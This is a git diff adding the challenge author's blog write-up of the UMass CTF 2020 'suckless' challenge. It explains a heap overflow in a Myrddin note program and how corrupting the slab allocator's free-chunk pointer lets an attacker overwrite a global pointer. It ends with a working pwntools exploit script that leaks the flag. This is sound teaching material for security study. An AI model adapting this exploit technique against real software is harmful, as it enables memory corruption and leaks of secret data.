style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-1" x="271.803" y="237.687"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-1" x="277.497" y="237.687"/> + <use xlink:href="#glyph0-1" x="282.4783" y="237.687"/> + <use xlink:href="#glyph0-1" x="287.4596" y="237.687"/> + <use xlink:href="#glyph0-1" x="292.4409" y="237.687"/> + <use xlink:href="#glyph0-1" x="297.4222" y="237.687"/> + <use xlink:href="#glyph0-1" x="302.4035" y="237.687"/> + <use xlink:href="#glyph0-1" x="307.3848" y="237.687"/> + <use xlink:href="#glyph0-1" x="312.3661" y="237.687"/> + <use xlink:href="#glyph0-1" x="317.3474" y="237.687"/> + <use xlink:href="#glyph0-1" x="322.3287" y="237.687"/> + <use xlink:href="#glyph0-1" x="327.31" y="237.687"/> + <use xlink:href="#glyph0-1" x="332.2913" y="237.687"/> + <use xlink:href="#glyph0-1" x="337.2726" y="237.687"/> + <use xlink:href="#glyph0-1" x="342.2539" y="237.687"/> + <use xlink:href="#glyph0-1" x="347.2352" y="237.687"/> + <use xlink:href="#glyph0-1" x="352.2165" y="237.687"/> +</g> +<path style="fill:none;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 170.08225 -148.819625 L 170.08225 -162.995406 L 255.121312 -162.995406 L 255.121312 -148.819625 Z M 170.08225 -148.819625 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<g clip-path="url(#clip4)" clip-rule="nonzero"> +<path style="fill:none;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 255.121312 -148.819625 L 255.121312 -162.995406 L 368.508031 -162.995406 L 368.508031 -148.819625 Z M 255.121312 -148.819625 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +</g> +</g> +</svg> diff --git a/org/UMass CTF 2020 - suckless Writeup/umass-ctf-2020-writeup.org b/org/UMass CTF 2020 - suckless Writeup/umass-ctf-2020-writeup.org new file mode 100644 index 0000000..b55df2c --- /dev/null +++ b/org/UMass CTF 2020 - suckless Writeup/umass-ctf-2020-writeup.org @@ -0,0 +1,285 @@ +#+TITLE: UMass CTF 2020 - suckless Writeup +#+DATE: <2020-12-13 Sun 18:16> +#+TAGS: writeup, capture-the-flag, security, binary-exploitation, myrddin + +Well, this is certainly overdue. It's the writeup for a challenge I authored for +this year's UMass CTF, which ran from /October 5th to October 12th/. Yes, I'm +late. But when you attend a university that tried very hard to squeeze the +[[https://www.umass.edu/coronavirus/news/umass-amherst-announces-fall-2020-reopening-plan-under-extensive-public-health-and-behavioral][entire semester twelve weeks]], you're going to deal with burnout and not nearly +enough time to do things outside of your coursework. So I'm finally coming back +to the challenge now that the semester's ended. + +# TODO: Link to other writeups. + +suckless was released on the 9th, and no one solved it. The challenge revolved +around a program, =sldiary=, which allowed the user to create "notes" which would +be saved to memory and could be recalled later. It was written in Myrddin, which +I [[http://jakob.space/blog/first-impressions-of-the-myrddin-programming-language.html][wrote about]] earlier this year. The source code for the program was provided +with the challenge, and is listed below. + +#+BEGIN_SRC myrddin +use std + +var flag = "You neet to hit the server for flag" +var version = "sldiary 0.1.1" +var versionptr + +const intro = { + versionptr = &version + std.put("(\\ \n") + std.put("\\'\\ \n") + std.put(" \\'\\ __________ \n") + std.put(" / '| ()_________)\n") + std.put(" \\ '/ \\ ~~~~~~~~ \\ {}\n", version) + std.put(" \\ \\ ~~~~~~ \\\n") + std.put(" ==). \\__________\\\n") + std.put(" (__) ()__________)\n") + std.put("\n") + std.put("type 'help' for available commands\n") +} + +const showver = { + var tmp = flag + std.put("this is {}\n", versionptr#) +} + +const addmsg = {n, buf -> byte# + var i + var msg = std.bytealloc(n) + for i = 0; buf[i] != ('\n' : byte); i++; + (((msg : std.size) + i) : byte#)# = buf[i] + ;; + -> msg +} + +const msgstrconv = {n, msg + var i + var sb = std.mksb() + for i = 0; i < n; i++ + std.sbputc(sb, ((((msg : uint64) + i) : byte#)# : char)) + ;; + -> std.sbfin(sb) +} + +const getln = { + var sb = std.mksb() + var buf = std.slalloc(0x40) + match std.read(std.In, buf) + | `std.Ok(n): + | `std.Err(n): std.die("i/o error") + ;; + std.sbputs(sb, buf) + -> std.sbfin(sb) +} + +const main = { + intro() + var notes = std.slalloc(0) + + var line + while true + std.put("> ") + line = getln() + if std.strhas(line, "help") + std.put("help: print this\n") + std.put("new: make a new note\n") + std.put("show: show all of your notes\n") + std.put("version: show the version of sldiary\n") + elif std.strhas(line, "new") + std.put("note length: ") + std.slfree(line) + line = getln() + var len + match std.strfind(line, "\n") + | `std.Some(n): line = line[:n] + | `std.None: + ;; + match std.intparse(line) + | `std.Some(n): len = n + | `std.None: std.put("invalid length\n"); continue + ;; + std.put("note: ") + std.slfree(line) + line = getln() + var msg = addmsg(len, line) + notes = std.slpush(¬es, (len, msg)) + elif std.strhas(line, "show") + var i + for i = 0; i < notes.len; i++; + var len, msg + (len, msg) = notes[i] + std.put("address: {}\n", (msg : byte#)) + std.put("{}: {}\n", i, msgstrconv((len : uint64), msg)) + ;; + elif std.strhas(line, "version") + showver() + else + std.put("invalid command\n") + ;; + std.slfree(line) + ;; + + std.slfree(notes) +} +#+END_SRC + +Even without being familiar with Myrddin, asking for the length of the note +before reading it in is suspicious. And, indeed, this is where the vulnerability +lies. The program reads in =len= ("note length") and =msg= ("note"), and calls +=addmsg(len, line)=, which obtains a chunk of memory as =std.bytealloc(len)= (where +=std.bytealloc= is effectively equivalent to =malloc (3)=), and fills it with the +contents of =msg= up to the first occurrence of '\n' -- the line feed character, +which indicates the end of what the user typed into the program. + +So, we can corrupt the heap, but now what? + +The caveat to this challenge was that the attacker would be corrupting a Myrddin +heap, not i.e. a glibc heap. So if you were going to solve this challenge, you +would need to have needed to read the source code for the Myrddin standard +library. Fortunately, this is rather easy to navigate, and =std.alloc= is written +in pure Myrddin. + +For those playing along at home, the source code for Myrddin is found [[https://git.eigenstate.org/ori/mc.git][here]], and +the source code for =std.bytealloc= is contained in ~lib/std/bytealloc.myr~. + +#+BEGIN_SRC myrddin +/* Allocates a blob that is 'sz' bytes long. Dies if the allocation fails */ +const bytealloc = {sz + var bkt, p + + if sz <= Bktmax + bkt = &buckets[bktnum(sz)] + lock(memlck) + p = bktalloc(bkt) + unlock(memlck) + else + p = bigalloc(sz) + ;; + if trace + lock(memlck) + tracealloc(p, sz) + unlock(memlck) + ;; + -> p +} +#+END_SRC + +Where the memory format of =slab= is + +#+BEGIN_SRC myrddin +type slab = struct + head : byte# /* head of virtual addresses, so we don't leak address space */ + next : slab# /* the next slab on the chain */ + prev : slab# /* the prev slab on the chain */ + freehd : chunk# /* the nodes we're allocating */ + nfree : size /* the number of free nodes */ + magic : size /* ensure we didn't index into the void */ +;; +#+END_SRC + +and the source for =bktalloc= is + +#+BEGIN_SRC myrddin +/* +Allocates a node from bucket 'bkt', crashing if the +allocation cannot be satisfied. Will create a new slab +if there are no slabs on the freelist. +,*/ +const bktalloc = {bkt + var s, c + + /* find a slab */ + s = bkt.slabs + if s == Zslab + s = mkslab(bkt) + bkt.slabs = s + if s == Zslab + die("No memory left") + ;; + ;; + + /* grab the first chunk on the slab */ + c = s.freehd + s.freehd = c.next + s.nfree-- + if s.freehd == Zchunk + bkt.slabs = s.next + if s.next != Zslab + s.next.prev = Zslab + ;; + ;; + -> (c : byte#) +} +#+END_SRC + +Below the comment reading 'grab the first chunk on the slab' is code to unlink +the head of a linked list (=freehd=). When a *slab* of memory is allocated, its +space is divided into *chunks*. Each chunk is initially a pointer to the next +chunk. When we take a chunk to satisfy an allocation request, that pointer (and +the space after it) is overwritten with user data, and the slab's "next free +chunk" (=freehd=) is updated to point at whatever the =cdr=[fn:1] of that chunk was. +It's a pretty simple heap format. + +#+CAPTION: Diagram showing showing three "free" chunks surrounding one containing user data. +[[./MyrddinHeap.svg]] + +Thus, when we can overwrite the =cdr= pointer, we have a write-anything-anywhere +primitive. So, why not overwrite the unusually suspect =versionptr= used in +=showver=? + +#+BEGIN_SRC myrddin +const showver = { + var tmp = flag + std.put("this is {}\n", versionptr#) +} +#+END_SRC + +If we overwrite =versionptr= to point to =flag=, we can dump the flag. So that's +exactly what we'll do. + +#+BEGIN_SRC python +import struct + +from pwn import * +context(arch="x86_64", os="linux") + +VERSIONPTR_ADDR = 0x0042e850 +FLAG_ADDR = 0x42a048 + +p = process(["./suckless"], False, "./suckless") + +# Allocate first chunk. +p.recvuntil("> ") +p.sendline("new") +p.recvuntil("note length: ") +p.sendline("8") +p.recvuntil("note: ") +p.sendline((b"A" * 16) + struct.pack("Q", VERSIONPTR_ADDR)) +p.recvuntil("> ") +p.sendline("show") +p.recvuntil("address: ") +dbg = int(p.recvline(), 16) + +# Allocate dummy chunk. +p.recvuntil("> ") +p.sendline("new") +p.recvuntil("note length: ") +p.sendline("8") +p.recvuntil("note: ") +p.sendline((b"B" * 8)) +p.recvuntil("> ") +p.sendline("show") + +# Overwrite versionptr. +p.recvuntil("> ") +p.sendline("new") +p.recvuntil("note length: ") +p.sendline("8") +p.recvuntil("note: ") +p.sendline(struct.pack("Q", FLAG_ADDR)) +p.recvuntil("> ") +p.sendline("version") +print(p.recvuntil("> ")) +#+END_SRC + +[fn:1] Or =next= if you're some sort of filthy C programmer. |